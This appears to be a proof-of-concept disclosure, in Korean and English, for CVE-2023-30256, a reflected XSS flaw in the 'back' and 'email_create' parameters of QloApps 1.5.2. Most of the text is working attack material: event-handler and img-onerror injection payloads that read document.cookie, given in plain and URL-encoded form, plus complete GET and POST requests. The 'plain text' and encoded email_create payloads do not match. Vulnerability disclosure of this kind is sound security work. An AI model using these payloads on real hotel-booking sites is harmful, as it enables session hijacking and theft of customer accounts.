ahrixia/cve-2023-30256QloApp 1.5.2: 두 개의 파라미터(email_create 및 back)에서 XSS 취약점 존재
Webkul QloApps 1.5.2: 두 개의 매개변수(email_create 및 back)에서 XSS 취약점
Payload (Parameter back – Plain text):
[xss onfocus=alert(1) autofocus= xss]
Payload (Parameter back – URL Encoded):
[xss%20onfocus%3dalert(1)%20autofocus%3d%20xss]
Full GET Request (Parameter back):
[http://localhost/hotelcommerce-1.5.2/?rand=1679996611398&controller=authentication&SubmitCreate=1&ajax=true&email_create=a&back=xss%20onfocus%3dalert(1)%20autofocus%3d%20xss&token=6c62b773f1b284ac4743871b300a0c4d]
Payload (Parameter email_create – Plain text):
[xss>xss]
Payload (Parameter email_create – URL Encoded):
[xss%3e%3cimg%20src%3da%20onerror%3dalert(document.cookie)%3exss]
POST Request (Parameter email_create) (POST REQUEST DATA ONLY):
[controller=authentication&SubmitCreate=1&ajax=true&email_create=xss%3e%3cimg%20src%3da%20onerror%3dalert(document.cookie)%3exss&back=my-account&token=6c62b773f1b284ac4743871b300a0c4d]
확인일: 2023년 3월 30일
벤더: QloApps [https://github.com/webkul/hotelcommerce]